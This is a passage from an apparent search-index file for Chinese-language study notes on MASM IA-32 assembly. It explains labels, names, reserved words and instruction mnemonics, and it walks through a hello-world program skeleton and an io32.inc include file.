\u901a\u5e38\u7528\u4e8e\u6807\u8bb0\u4ee3\u7801\u4e2d\u7684\u7279\u5b9a\u4f4d\u7f6e\uff0c\u901a\u5e38\u662f\u5904\u7406\u5668\u6307\u4ee4\u7684\u903b\u8f91\u5730\u5740\u3002\u6307\u793a\u5206\u652f\uff0c\u5faa\u73af\u7b49\u7a0b\u5e8f\u7684\u76ee\u7684\u5730\u5740\u3002\u6807\u53f7\u5728\u6c47\u7f16\u7a0b\u5e8f\u4e2d\u6709\u4e24\u4e2a\u4e3b\u8981\u7528\u9014\uff1a</p> <ul> <li> <p>\u8df3\u8f6c\u76ee\u6807 \uff1a\u6807\u53f7\u5e38\u7528\u4e8e\u63a7\u5236\u7a0b\u5e8f\u7684\u6d41\uff0c\u4f8b\u5982\u6761\u4ef6\u8df3\u8f6c\uff08<code>JMP</code>\u3001<code>JE</code>\u3001<code>JNE</code>\u7b49\uff09\u6216\u5faa\u73af\u7ed3\u6784\u4e2d\uff0c\u6807\u53f7\u8868\u793a\u76ee\u6807\u5730\u5740\uff0c\u6307\u660e\u7a0b\u5e8f\u5e94\u8df3\u8f6c\u5230\u7684\u7279\u5b9a\u4f4d\u7f6e\u3002</p> </li> <li> <p>\u51fd\u6570\u6216\u8fc7\u7a0b\u7684\u5165\u53e3 \uff1a\u6807\u53f7\u4e5f\u5e38\u7528\u4e8e\u6807\u8bb0\u4e00\u4e2a\u51fd\u6570\u6216\u8fc7\u7a0b\u7684\u8d77\u59cb\u5730\u5740\uff0c\u4ee5\u4fbf\u7a0b\u5e8f\u80fd\u591f\u6b63\u786e\u8c03\u7528\u3002</p> </li> </ul> <p>Example</p> <p>\u8bed\u6cd5 \uff1a</p> <pre><code>label_name:\n    ; \u4e00\u4e9b\u6307\u4ee4\n</code></pre> <p>\u4f8b\u5982\uff1a</p> <pre><code>start:              ; \u8fd9\u662f\u4e00\u4e2a\u6807\u53f7\n    mov eax, 1\n    jmp start       ; \u8df3\u8f6c\u5230\u6807\u53f7 'start'\n</code></pre>"},{"location":"NOTE/CS/ASM/wk1_2/#2-name","title":"2. \u540d\u5b57\uff08Name\uff09","text":"<p>\u540d\u5b57 \u901a\u5e38\u7528\u4e8e\u6570\u636e\u6bb5\u4e2d\uff0c\u8868\u793a\u53d8\u91cf\u3001\u5e38\u91cf\u6216\u5176\u4ed6\u6570\u636e\u5143\u7d20\u7684\u540d\u79f0\u3002\u540d\u5b57\u4fbf\u4e8e\u7a0b\u5e8f\u5458\u5728\u7f16\u5199\u4ee3\u7801\u65f6\u8bc6\u522b\u548c\u5f15\u7528\u8fd9\u4e9b\u6570\u636e\u3002</p> <ul> <li>\u6570\u636e\u5b9a\u4e49 \uff1a\u540d\u5b57\u7528\u4e8e\u5728\u6570\u636e\u6bb5\u4e2d\u5b9a\u4e49\u548c\u6807\u8bc6\u6570\u636e\u9879\u3002</li> <li>\u6307\u9488\u6216\u504f\u79fb\u91cf \uff1a\u540d\u5b57\u53ef\u7528\u6765\u8868\u793a\u7279\u5b9a\u6570\u636e\u9879\u5728\u5185\u5b58\u4e2d\u7684\u4f4d\u7f6e\u6216\u504f\u79fb\u91cf\uff0c\u4ee5\u4fbf\u5728\u7a0b\u5e8f\u4e2d\u5f15\u7528\u3002</li> </ul> <p>Example</p> <p>\u8bed\u6cd5\uff1a</p> <pre><code>name db 0x10       ; \u5b9a\u4e49\u4e00\u4e2a\u5b57\u8282\u5927\u5c0f\u7684\u53d8\u91cf 'name' \u5e76\u521d\u59cb\u5316\u4e3a 0x10\n</code></pre> <p>\u4f8b\u5982\uff1a <pre><code>msg db 'Hello, World!', 0    ; 'msg' \u662f\u4e00\u4e2a\u540d\u5b57\uff0c\u8868\u793a\u4e00\u4e2a\u5b57\u7b26\u4e32\u7684\u8d77\u59cb\u5730\u5740\n</code></pre></p> <ul> <li>\u6807\u53f7 \u7528\u4e8e\u6807\u8bc6\u4ee3\u7801\u4f4d\u7f6e\uff08\u5982\u8df3\u8f6c\u76ee\u6807\uff09\u3002</li> <li>\u540d\u5b57 \u7528\u4e8e\u6807\u8bc6\u6570\u636e\uff08\u5982\u53d8\u91cf\u3001\u5e38\u91cf\uff09\u3002</li> </ul>"},{"location":"NOTE/CS/ASM/wk1_2/#_4","title":"\u6807\u8bc6\u7b26","text":"<p>\u6807\u53f7\u548c\u540d\u5b57\u90fd\u5c5e\u4e8e\u6807\u8bc6\u7b26\uff0c\u6807\u8bc6\u7b26\u7531\u7a0b\u5e8f\u5458\u81ea\u5df1\u5b9a\u4e49\uff0c\u8ddf\u9ad8\u7ea7\u8bed\u8a00\u4e2d\u7684\u53d8\u91cf\u5b9a\u4e49\u7c7b\u4f3c\uff0c\u4e0d\u80fd\u4ee5\u6570\u5b57\u5f00\u5934\uff0c\u4e00\u4e2a\u6e90\u7a0b\u5e8f\u4e2d\uff0c\u7528\u6237\u5b9a\u4e49\u7684\u6bcf\u4e2a\u6807\u8bc6\u7b26\u5fc5\u987b\u552f\u4e00\uff0c\u4e5f\u4e0d\u80fd\u662f\u4fdd\u7559\u5b57\uff08reserve word\uff09</p> \u4fdd\u7559\u5b57 <p>\u4fdd\u7559\u5b57\uff08Reserved Word\uff09\u662f\u6c47\u7f16\u8bed\u8a00\uff08\u4ee5\u53ca\u5927\u591a\u6570\u7f16\u7a0b\u8bed\u8a00\uff09\u4e2d\u5177\u6709\u7279\u6b8a\u610f\u4e49\u7684\u5355\u8bcd\u3002\u8fd9\u4e9b\u5355\u8bcd\u88ab\u7f16\u8bd1\u5668\u6216\u6c47\u7f16\u5668\u9884\u5148\u5b9a\u4e49\u548c\u4fdd\u7559\uff0c\u4e0d\u80fd\u7528\u4f5c\u7528\u6237\u81ea\u5b9a\u4e49\u7684\u6807\u8bc6\u7b26\uff08\u5982\u53d8\u91cf\u540d\u3001\u6807\u53f7\u6216\u51fd\u6570\u540d\uff09\uff0c\u56e0\u4e3a\u5b83\u4eec\u5df2\u7ecf\u7528\u4e8e\u7279\u5b9a\u7684\u8bed\u6cd5\u7ed3\u6784\u6216\u64cd\u4f5c</p> <p>\u5728\u6c47\u7f16\u8bed\u8a00\u4e2d\uff0c\u5e38\u89c1\u7684\u4fdd\u7559\u5b57\u6709\u4ee5\u4e0b\u51e0\u79cd\u7c7b\u578b\uff1a</p> <p>\u6307\u4ee4\u64cd\u4f5c\u7801\uff1a\u7528\u4e8e\u8868\u793a\u5177\u4f53\u7684\u5904\u7406\u5668\u6307\u4ee4\uff0c\u5982\uff1a</p> <p><code>MOV</code>\u3001<code>ADD</code>\u3001<code>SUB</code>\u3001<code>MUL</code>\u3001<code>DIV</code>\u3001<code>JMP</code>\u3001<code>CMP</code>\u3001<code>CALL</code>\u3001<code>RET</code> \u7b49\u3002</p> <p>\u4f2a\u6307\u4ee4\uff08\u6c47\u7f16\u6307\u4ee4\uff09\uff1a\u7528\u4e8e\u6307\u793a\u6c47\u7f16\u5668\u5728\u6c47\u7f16\u8fc7\u7a0b\u4e2d\u6267\u884c\u7684\u64cd\u4f5c\uff0c\u4e0d\u76f4\u63a5\u751f\u6210\u673a\u5668\u6307\u4ee4\uff0c\u5982\uff1a</p> <p><code>DB\uff08Define Byte\uff09</code>\u3001<code>DW\uff08Define Word\uff09</code>\u3001<code>DD\uff08Define Double Word\uff09</code>\u3001<code>ORG\uff08Origin\uff09</code>\u3001<code>END\uff08End of Program\uff09</code>\u3001<code>EQU\uff08Equate\uff09</code>\u7b49\u3002</p> <p>\u5bc4\u5b58\u5668\u540d\uff1a\u7528\u4e8e\u8868\u793a\u5904\u7406\u5668\u5185\u90e8\u7684\u5bc4\u5b58\u5668\uff0c\u5982\uff1a</p> <p>EAX\u3001EBX\u3001ECX\u3001EDX\uff08\u901a\u7528\u5bc4\u5b58\u5668\uff09\u3001CS\u3001DS\u3001SS\u3001ES\uff08\u6bb5\u5bc4\u5b58\u5668\uff09\u7b49\u3002</p> <p>\u6570\u636e\u7c7b\u578b\uff1a\u7528\u4e8e\u8868\u793a\u6570\u636e\u7684\u7c7b\u578b\u6216\u5927\u5c0f\uff0c\u5982\uff1a</p> <p><code>BYTE</code>\u3001<code>WORD</code>\u3001<code>DWORD</code>\u3001<code>QWORD</code>\u3001<code>TBYTE</code> \u7b49\u3002</p> <p>\u6761\u4ef6\u7801\u548c\u63a7\u5236\u7ed3\u6784\uff1a\u7528\u4e8e\u7a0b\u5e8f\u6d41\u7a0b\u63a7\u5236\uff0c\u5982\uff1a</p> <p><code>IF</code>\u3001<code>ELSE</code>\u3001<code>ENDIF</code>\u3001<code>LOOP</code>\u3001<code>WHILE</code>\u3001<code>BREAK</code> \u7b49\u3002</p>"},{"location":"NOTE/CS/ASM/wk1_2/#_5","title":"\u52a9\u8bb0\u7b26","text":"<p>\u52a9\u8bb0\u7b26\u662f\u5e2e\u52a9\u8bb0\u5fc6\u6307\u4ee4\u529f\u80fd\u7684\u7b26\u53f7\uff0c\u4e3b\u8981\u5206\u786c\u6307\u4ee4\u52a9\u8bb0\u7b26\u548c\u8f6f\u6307\u4ee4\u52a9\u8bb0\u7b26</p> <p>\u5728\u6c47\u7f16\u8bed\u8a00\u4e2d\uff0c\u786c\u6307\u4ee4\u52a9\u8bb0\u7b26\uff08\u4e5f\u79f0\u4e3a \u673a\u5668\u6307\u4ee4\u52a9\u8bb0\u7b26 \uff09\u548c \u8f6f\u6307\u4ee4\u52a9\u8bb0\u7b26 \uff08\u4e5f\u79f0\u4e3a \u4f2a\u6307\u4ee4\u52a9\u8bb0\u7b26 \uff09\u662f\u4e24\u79cd\u4e0d\u540c\u7c7b\u578b\u7684\u6307\u4ee4\uff0c\u5b83\u4eec\u7528\u4e8e\u4e0d\u540c\u7684\u76ee\u7684\u3002</p>"},{"location":"NOTE/CS/ASM/wk1_2/#_6","title":"\u786c\u6307\u4ee4\u52a9\u8bb0\u7b26\uff08\u673a\u5668\u6307\u4ee4\u52a9\u8bb0\u7b26\uff09","text":"<p>\u786c\u6307\u4ee4\u52a9\u8bb0\u7b26 \uff08Machine Instruction Mnemonics\uff09\u662f\u76f4\u63a5\u5bf9\u5e94\u4e8e\u5904\u7406\u5668\u652f\u6301\u7684\u673a\u5668\u8bed\u8a00\u6307\u4ee4\u7684\u6c47\u7f16\u8bed\u8a00\u7b26\u53f7\u3002\u6bcf\u4e00\u4e2a\u786c\u6307\u4ee4\u52a9\u8bb0\u7b26\u8868\u793a\u4e00\u6761\u7531\u5904\u7406\u5668\u786c\u4ef6\u76f4\u63a5\u6267\u884c\u7684\u5177\u4f53\u64cd\u4f5c\u3002\u786c\u6307\u4ee4\u52a9\u8bb0\u7b26\u662f\u6c47\u7f16\u8bed\u8a00\u7684\u6838\u5fc3\u90e8\u5206\uff0c\u5b83\u4eec\u88ab\u7ffb\u8bd1\u6210\u673a\u5668\u7801\uff0c\u76f4\u63a5\u7531\u8ba1\u7b97\u673a\u7684 CPU \u6267\u884c\u3002</p> <p>\u7279\u70b9</p> <ul> <li>\u76f4\u63a5\u6620\u5c04\u5230\u673a\u5668\u4ee3\u7801\uff1a\u786c\u6307\u4ee4\u52a9\u8bb0\u7b26\u662f\u6c47\u7f16\u7a0b\u5e8f\u4e2d\u6700\u63a5\u8fd1\u786c\u4ef6\u7684\u90e8\u5206\uff0c\u76f4\u63a5\u5bf9\u5e94\u4e8e CPU \u6307\u4ee4\u96c6\u3002</li> <li>\u88ab\u5904\u7406\u5668\u76f4\u63a5\u6267\u884c\uff1a\u8fd9\u4e9b\u6307\u4ee4\u662f\u786c\u4ef6\u652f\u6301\u7684\uff0c\u53ef\u4ee5\u88ab CPU \u76f4\u63a5\u6267\u884c\u3002</li> <li>\u6267\u884c\u7279\u5b9a\u7684\u64cd\u4f5c\uff1a\u5982\u6570\u636e\u4f20\u9001\u3001\u7b97\u672f\u64cd\u4f5c\u3001\u903b\u8f91\u64cd\u4f5c\u3001\u8df3\u8f6c\u3001\u51fd\u6570\u8c03\u7528\u7b49\u3002</li> </ul> <p>\u5e38\u89c1\u7684\u786c\u6307\u4ee4\u52a9\u8bb0\u7b26</p> <ul> <li>\u6570\u636e\u4f20\u9001\u6307\u4ee4\uff1a<code>MOV</code>\u3001<code>PUSH</code>\u3001<code>POP</code> \u7b49\u3002</li> <li>\u7b97\u672f\u6307\u4ee4\uff1a<code>ADD</code>\u3001<code>SUB</code>\u3001<code>MUL</code>\u3001<code>DIV</code> \u7b49\u3002</li> <li>\u903b\u8f91\u6307\u4ee4\uff1a<code>AND</code>\u3001<code>OR</code>\u3001<code>XOR</code>\u3001<code>NOT</code> \u7b49\u3002</li> <li>\u63a7\u5236\u6d41\u6307\u4ee4\uff1a<code>JMP</code>\u3001<code>JE</code>\u3001<code>JNE</code>\u3001<code>CALL</code>\u3001<code>RET</code> \u7b49\u3002</li> </ul> <p>Example</p> <pre><code>MOV AX, BX    ; \u6570\u636e\u4f20\u9001\u6307\u4ee4\uff0c\u5c06 BX \u7684\u503c\u4f20\u9001\u5230 AX\nADD AX, 5     ; \u7b97\u672f\u6307\u4ee4\uff0c\u5c06 5 \u52a0\u5230 AX \u4e2d\nJMP start     ; \u63a7\u5236\u6d41\u6307\u4ee4\uff0c\u8df3\u8f6c\u5230\u6807\u53f7 start\n</code></pre>"},{"location":"NOTE/CS/ASM/wk1_2/#_7","title":"\u8f6f\u6307\u4ee4\u52a9\u8bb0\u7b26\uff08\u4f2a\u6307\u4ee4\u52a9\u8bb0\u7b26\uff09","text":"<p>\u8f6f\u6307\u4ee4\u52a9\u8bb0\u7b26 \uff08Pseudo-Instruction Mnemonics\uff09\u6216 \u4f2a\u6307\u4ee4\uff08Pseudo-Instructions\uff09\u5e76\u4e0d\u662f\u5904\u7406\u5668\u7684\u771f\u5b9e\u6307\u4ee4\u3002\u5b83\u4eec\u662f\u6c47\u7f16\u5668\u7406\u89e3\u548c\u6267\u884c\u7684\u7279\u6b8a\u6307\u4ee4\uff0c\u7528\u6765\u8f85\u52a9\u7a0b\u5e8f\u5f00\u53d1\u548c\u7f16\u8bd1\u8fc7\u7a0b\uff0c\u5982\u5b9a\u4e49\u6570\u636e\u3001\u5206\u914d\u5b58\u50a8\u3001\u8bbe\u7f6e\u7a0b\u5e8f\u4f4d\u7f6e\u7b49\u3002\u8fd9\u4e9b\u6307\u4ee4\u5728\u6c47\u7f16\u8fc7\u7a0b\u4e2d\u6267\u884c\uff0c\u4e0d\u4f1a\u88ab\u7ffb\u8bd1\u6210\u673a\u5668\u4ee3\u7801\u3002</p> <p>\u7279\u70b9</p> <ul> <li>\u4e0d\u5bf9\u5e94\u673a\u5668\u4ee3\u7801 \uff1a\u8f6f\u6307\u4ee4\u52a9\u8bb0\u7b26\u662f\u6c47\u7f16\u5668\u5728\u6c47\u7f16\u65f6\u4f7f\u7528\u7684\u6307\u4ee4\uff0c\u4e0d\u4f1a\u88ab\u8f6c\u6362\u4e3a\u76f4\u63a5\u7684\u673a\u5668\u6307\u4ee4\u3002</li> <li>\u7528\u4e8e\u7f16\u8bd1\u63a7\u5236 \uff1a\u8fd9\u4e9b\u6307\u4ee4\u5e2e\u52a9\u63a7\u5236\u6c47\u7f16\u8fc7\u7a0b\uff0c\u6bd4\u5982\u5b9a\u4e49\u5e38\u91cf\u3001\u53d8\u91cf\u3001\u5185\u5b58\u5e03\u5c40\u7b49\u3002</li> <li>\u7528\u4e8e\u7ed3\u6784\u5316\u7f16\u7a0b \uff1a\u5b9a\u4e49\u5b8f\u3001\u8bbe\u7f6e\u6761\u4ef6\u7f16\u8bd1\u7b49\u3002</li> </ul> <p>\u5e38\u89c1\u7684\u8f6f\u6307\u4ee4\u52a9\u8bb0\u7b26</p> <ul> <li>\u6570\u636e\u5b9a\u4e49\u6307\u4ee4\uff1a<code>DB</code>\uff08Define Byte\uff09\u3001<code>DW</code>\uff08Define Word\uff09\u3001<code>DD</code>\uff08Define Double Word\uff09\u7b49\u3002</li> <li>\u7f16\u8bd1\u63a7\u5236\u6307\u4ee4\uff1a<code>ORG</code>\uff08Origin\uff0c\u8bbe\u7f6e\u4ee3\u7801\u7684\u8d77\u59cb\u5730\u5740\uff09\u3001<code>END</code>\uff08\u7ed3\u675f\u7a0b\u5e8f\uff09\u7b49\u3002</li> <li>\u5b8f\u5b9a\u4e49\u548c\u4f7f\u7528\u6307\u4ee4\uff1a<code>MACRO</code>\u3001<code>ENDM</code> \u7b49\u3002</li> <li>\u6761\u4ef6\u7f16\u8bd1\u6307\u4ee4\uff1a<code>IF</code>\u3001<code>ELSE</code>\u3001<code>ENDIF</code> \u7b49\u3002</li> </ul> <p>Example</p> <pre><code>DATA_SEG SEGMENT          ; \u5b9a\u4e49\u4e00\u4e2a\u6570\u636e\u6bb5\nnum1 DB 10                ; \u8f6f\u6307\u4ee4\uff0c\u5b9a\u4e49\u4e00\u4e2a\u5b57\u8282\u53d8\u91cf 'num1' \u5e76\u521d\u59cb\u5316\u4e3a 10\nDATA_SEG ENDS             ; \u7ed3\u675f\u6570\u636e\u6bb5\n\nORG 100h                  ; \u8f6f\u6307\u4ee4\uff0c\u8bbe\u7f6e\u4ee3\u7801\u7684\u8d77\u59cb\u5730\u5740\u4e3a 100h\n</code></pre> <p>\u64cd\u4f5c\u6570\u548c\u53c2\u6570</p> <p>\u64cd\u4f5c\u6570 \uff1a\u8868\u793a\u53c2\u4e0e\u64cd\u4f5c\u7684\u5bf9\u8c61\uff0c\u8ddf\u5728\u5904\u7406\u5668\u6307\u4ee4\u540e\u9762</p> <p>\u53c2\u6570   \uff1a\u4f2a\u6307\u4ee4\u7684\u53c2\u6570\uff0c\u53ef\u4ee5\u6709\u591a\u4e2a\uff0c\u53c2\u6570\u4e4b\u95f4\u7528\u9017\u53f7\u5206\u9694</p>"},{"location":"NOTE/CS/ASM/wk1_2/#_8","title":"\u6c47\u7f16\u7a0b\u5e8f\u57fa\u672c\u6846\u67b6","text":"<p>\u9700\u8981\u6ce8\u610f\u7684\u5730\u65b9</p> <p>\u4e0d\u540c\u6c47\u7f16\u8bed\u8a00\uff0c\u4e0d\u540c\u6c47\u7f16\u5668\uff0c\u5176\u7ed3\u6784\u548c\u8bed\u6cd5\u6709\u6240\u4e0d\u540c\uff0c\u6211\u5b66\u4e60\u7684\u662f\u57fa\u4e8e MASM \u7684 IA-32 \u6c47\u7f16\u8bed\u8a00</p> <p>\u5728\u4f7f\u7528 MASM\uff08Microsoft Macro Assembler\uff09\u7f16\u5199 IA-32 \u6c47\u7f16\u8bed\u8a00\u7a0b\u5e8f\u65f6\uff0c\u6211\u4eec\u901a\u5e38\u4f1a\u9075\u5faa\u4e00\u4e2a\u6807\u51c6\u7684\u7a0b\u5e8f\u6846\u67b6\u3002MASM \u662f\u5fae\u8f6f\u63d0\u4f9b\u7684\u6c47\u7f16\u5668\uff0c\u4e3b\u8981\u7528\u4e8e Windows \u5e73\u53f0\uff0c\u56e0\u6b64\u5176\u8bed\u6cd5\u548c\u7ed3\u6784\u4f1a\u66f4\u8d34\u8fd1 Windows \u7684\u7a0b\u5e8f\u7f16\u5199\u98ce\u683c\u3002MASM \u63d0\u4f9b\u4e86\u8bb8\u591a\u5b8f\u548c\u6307\u4ee4\u6765\u7b80\u5316\u7f16\u5199\u6c47\u7f16\u7a0b\u5e8f\u7684\u8fc7\u7a0b\u3002</p>"},{"location":"NOTE/CS/ASM/wk1_2/#masm-ia-32","title":"\u57fa\u4e8e MASM \u7684 IA-32 \u6c47\u7f16\u8bed\u8a00\u7a0b\u5e8f\u6846\u67b6","text":"<p>\u4e00\u4e2a\u5178\u578b\u7684 MASM \u7a0b\u5e8f\u6846\u67b6\u901a\u5e38\u5305\u62ec\u4ee5\u4e0b\u90e8\u5206\uff1a</p> <ol> <li>\u6570\u636e\u6bb5\uff08.data\uff09\uff1a\u5b9a\u4e49\u7a0b\u5e8f\u4e2d\u7684\u5df2\u521d\u59cb\u5316\u6570\u636e\uff08\u5982\u5e38\u91cf\u3001\u5b57\u7b26\u4e32\u3001\u53d8\u91cf\u7b49\uff09\u3002</li> <li>\u4ee3\u7801\u6bb5\uff08.code\uff09\uff1a\u5305\u542b\u7a0b\u5e8f\u7684\u6307\u4ee4\uff08\u5b9e\u9645\u64cd\u4f5c\u4ee3\u7801\uff09\u3002</li> <li>\u6808\u6bb5\uff08.stack\uff09\uff1a\u5b9a\u4e49\u7a0b\u5e8f\u8fd0\u884c\u65f6\u4f7f\u7528\u7684\u5806\u6808\u7a7a\u95f4\uff08\u901a\u5e38\u4e3a\u53ef\u9009\u9879\uff09\u3002</li> <li>\u5165\u53e3\u70b9\uff08main \u6216 start\uff09\uff1a\u7a0b\u5e8f\u7684\u5165\u53e3\u70b9\uff0c\u901a\u5e38\u901a\u8fc7 <code>main</code> \u6216 <code>start</code> \u6807\u7b7e\u6765\u5b9a\u4e49\u3002</li> <li>\u7ed3\u675f\u6307\u4ee4\uff08END\uff09\uff1a\u6307\u793a\u7a0b\u5e8f\u7684\u7ed3\u675f\u70b9\u3002</li> </ol> <p>\u793a\u4f8b\uff1a\u57fa\u4e8e MASM \u7684 IA-32 \u6c47\u7f16\u7a0b\u5e8f\u6846\u67b6</p> <pre><code>; eg0101.asm - \u7a0b\u5e8f\u540d\u79f0\ninclude io32.inc       ; \u5305\u542b\u5934\u6587\u4ef6 io32.inc\n\n.data                  ; \u6570\u636e\u6bb5\nmsg byte 'Hello, Assembly!', 13, 10, 0  ; \u5b9a\u4e49\u4e00\u4e2a\u5b57\u7b26\u4e32\u53d8\u91cf msg\uff0c\u4ee5\u56de\u8f66\uff0813\uff09\u3001\u6362\u884c\uff0810\uff09\u548c\u7ed3\u675f\u7b26\uff080\uff09\u7ed3\u5c3e\n\n.code                  ; \u4ee3\u7801\u6bb5\nstart:                 ; \u7a0b\u5e8f\u6267\u884c\u8d77\u59cb\u4f4d\u7f6e\n\n    mov eax, offset msg  ; \u5c06 msg \u7684\u5730\u5740\u8f7d\u5165 eax \u5bc4\u5b58\u5668\n    call dispmsg         ; \u8c03\u7528 dispmsg \u51fd\u6570\uff0c\u663e\u793a\u6d88\u606f\n\n    exit 0               ; \u6b63\u5e38\u9000\u51fa\u7a0b\u5e8f\nend start               ; \u7a0b\u5e8f\u7ed3\u675f\uff0c\u6307\u5b9a\u5165\u53e3\u70b9\u4e3a start\n</code></pre> <p>\u7a0b\u5e8f\u89e3\u91ca</p> <ol> <li> <p><code>include io32.inc</code>: \u5305\u542b\u4e00\u4e2a\u540d\u4e3a <code>io32.inc</code> \u7684\u5934\u6587\u4ef6\uff0c\u8be5\u6587\u4ef6\u5305\u542b\u5e38\u7528\u7684\u5b8f\u3001\u51fd\u6570\u58f0\u660e\u6216\u8f93\u5165\u8f93\u51fa\u4f8b\u7a0b\u3002\u4f8b\u5982\uff0c\u8fd9\u91cc\u4f7f\u7528\u7684 <code>dispmsg</code> \u51fd\u6570\u5728 <code>io32.inc</code> \u4e2d\u5b9a\u4e49\u7684\uff0c\u7528\u6765\u5728\u5c4f\u5e55\u4e0a\u663e\u793a\u5b57\u7b26\u4e32\u3002</p> </li> <li> <p><code>.data</code> \u6bb5: \u6570\u636e\u6bb5\uff0c\u7528\u4e8e\u5b9a\u4e49\u6570\u636e\uff08\u5982\u53d8\u91cf\u3001\u5e38\u91cf\u3001\u5b57\u7b26\u4e32\u7b49\uff09\u3002\u5728\u8fd9\u91cc\uff0c\u5b9a\u4e49\u4e86\u4e00\u4e2a\u5b57\u7b26\u4e32 <code>msg</code>\uff0c\u5185\u5bb9\u4e3a \"Hello, Assembly!\"\uff0c\u540e\u9762\u8ddf\u7740\u56de\u8f66\uff0813\uff09\u3001\u6362\u884c\uff0810\uff09\u548c\u5b57\u7b26\u4e32\u7ed3\u675f\u7b26\uff080\uff09\u3002</p> </li> <li> <p><code>.code</code> \u6bb5: \u4ee3\u7801\u6bb5\uff0c\u5305\u542b\u7a0b\u5e8f\u7684\u6307\u4ee4\u90e8\u5206\u3002\u7a0b\u5e8f\u4ece <code>start</code> \u6807\u7b7e\u5f00\u59cb\u6267\u884c\u3002</p> <ul> <li><code>mov eax, offset msg</code>: \u5c06\u5b57\u7b26\u4e32 <code>msg</code> \u7684\u5730\u5740\u8f7d\u5165 <code>EAX</code> \u5bc4\u5b58\u5668\u3002</li> <li><code>call dispmsg</code>: \u8c03\u7528 <code>dispmsg</code> \u51fd\u6570\uff0c\u5c06 <code>msg</code> \u7684\u5185\u5bb9\u663e\u793a\u5728\u5c4f\u5e55\u4e0a\u3002</li> <li><code>exit 0</code>: \u6b63\u5e38\u9000\u51fa\u7a0b\u5e8f\uff0c\u8fd4\u56de\u7801\u4e3a <code>0</code>\u3002</li> </ul> </li> <li> <p><code>end start</code>: \u544a\u8bc9\u6c47\u7f16\u5668\u7a0b\u5e8f\u7684\u7ed3\u675f\uff0c\u5e76\u6307\u5b9a\u7a0b\u5e8f\u4ece <code>start</code> \u6807\u7b7e\u5f00\u59cb</p> </li> </ol> io32.inc <p><pre><code>.nolist\n;filename: io32.inc\n;A include file used with io32.lib for Windows Console\n\n  .686\n  .model flat,stdcall\n\n  option casemap:none\n  includelib bin\\kernel32.lib\n\nExitProcess proto,:DWORD\nexit  MACRO dwexitcode\n  invoke ExitProcess,dwexitcode\n  ENDM\n\n;declare procedures for inputting and outputting charactor or string\n  extern readc:near,readmsg:near\n  extern dispc:near,dispmsg:near,dispcrlf:near\n;declare procedures for inputting and outputting binary number\n  extern readbb:near,readbw:near,readbd:near\n  extern dispbb:near,dispbw:near,dispbd:near\n;declare procedures for inputting and outputting hexadecimal number\n  extern readhb:near,readhw:near,readhd:near\n  extern disphb:near,disphw:near,disphd:near\n;declare procedures for inputting and outputting unsigned integer number\n  extern readuib:near,readuiw:near,readuid:near\n  extern dispuib:near,dispuiw:near,dispuid:near\n;declare procedures for inputting and outputting signed integer number\n  extern readsib:near,readsiw:near,readsid:near\n  extern dispsib:near,dispsiw:near,dispsid:near\n;declare procedures for outputting registers\n  extern disprb:near,disprw:near,disprd:near,disprf:near\n;declare I/O libraries\n  includelib io32.lib\n\n.list\n</code></pre>   \u8fd9\u4e2a\u6587\u4ef6\u662f\u4e00\u4e2a\u5305\u542b\u6587\u4ef6\uff0c\u5b9a\u4e49\u4e86\u5404\u79cd\u8f93\u5165/\u8f93\u51fa\uff08I/O\uff09\u51fd\u6570\u548c\u5b8f\uff0c\u5e76\u4e14\u58f0\u660e\u4e86\u8fd9\u4e9b\u51fd\u6570\u7684\u539f\u578b\u548c\u5b83\u4eec\u6240\u5728\u7684\u5e93\u3002\u5177\u4f53\u5185\u5bb9\u5982\u4e0b\uff1a</p> <ol> <li> <p>\u6c47\u7f16\u9009\u9879\u8bbe\u7f6e\uff1a</p> <ul> <li><code>.686</code>: \u6307\u5b9a\u4f7f\u7528 686 \u6307\u4ee4\u96c6\uff08Pentium Pro \u53ca\u4ee5\u4e0a\uff09\u3002</li> <li><code>.model flat,stdcall</code>: \u4f7f\u7528\u5e73\u5766\u5185\u5b58\u6a21\u578b\u548c <code>stdcall</code> \u8c03\u7528\u7ea6\u5b9a\u3002</li> <li><code>option casemap:none</code>: \u7981\u7528\u5927\u5c0f\u5199\u6620\u5c04\uff0c\u4f7f\u5f97\u6807\u8bc6\u7b26\u662f\u5927\u5c0f\u5199\u654f\u611f\u7684\u3002</li> </ul> </li> <li> <p>\u5e93\u5f15\u7528\uff1a</p> <ul> <li><code>includelib bin\\kernel32.lib</code>: \u5f15\u5165 Windows API \u7684 <code>kernel32.lib</code> \u5e93\uff0c\u8be5\u5e93\u5305\u542b\u5e38\u89c1\u7684\u7cfb\u7edf\u8c03\u7528\uff08\u5982 <code>ExitProcess</code>\uff09\u3002</li> </ul> </li> <li> <p>\u5b8f\u5b9a\u4e49\uff1a</p> <ul> <li><code>exit MACRO dwexitcode</code>: \u5b9a\u4e49\u4e86\u4e00\u4e2a\u540d\u4e3a <code>exit</code> \u7684\u5b8f\uff0c\u7528\u4e8e\u8c03\u7528 <code>ExitProcess</code> \u51fd\u6570\u9000\u51fa\u7a0b\u5e8f\u3002    <pre><code>invoke ExitProcess,dwexitcode\n</code></pre></li> <li>\u8be5\u5b8f\u53ef\u4ee5\u7b80\u5316\u9000\u51fa\u7a0b\u5e8f\u7684\u4ee3\u7801\uff0c\u4f7f\u5f97\u5728\u7a0b\u5e8f\u4e2d\u8c03\u7528 <code>exit</code> \u5b8f\u65f6\uff0c\u53ef\u4ee5\u76f4\u63a5\u4f20\u9012\u4e00\u4e2a\u9000\u51fa\u4ee3\u7801\u3002</li> </ul> </li> <li> <p>\u5916\u90e8\u51fd\u6570\u58f0\u660e\uff1a</p> <ul> <li><code>extern</code> \u58f0\u660e\uff1a\u8fd9\u4e9b\u58f0\u660e\u544a\u8bc9\u6c47\u7f16\u5668\uff0c\u8fd9\u4e9b\u51fd\u6570\u5728\u5176\u4ed6\u5730\u65b9\u5b9a\u4e49\uff08\u4f8b\u5982 <code>io32.lib</code> \u5e93\u4e2d\uff09\uff0c\u5e76\u4e14\u5b83\u4eec\u662f <code>near</code> \u7c7b\u578b\uff08\u5373\u5728\u76f8\u540c\u7684\u6bb5\u4e2d\uff09\u3002\u8fd9\u4e9b\u51fd\u6570\u5305\u62ec\uff1a</li> <li>\u5b57\u7b26\u6216\u5b57\u7b26\u4e32\u7684\u8f93\u5165/\u8f93\u51fa\uff1a<ul> <li><code>readc</code>\u3001<code>readmsg</code>\uff1a\u7528\u4e8e\u8bfb\u53d6\u5b57\u7b26\u6216\u5b57\u7b26\u4e32\u3002</li> <li><code>dispc</code>\u3001<code>dispmsg</code>\u3001<code>dispcrlf</code>\uff1a\u7528\u4e8e\u663e\u793a\u5b57\u7b26\u3001\u5b57\u7b26\u4e32\u548c\u6362\u884c\u7b26\u3002</li> 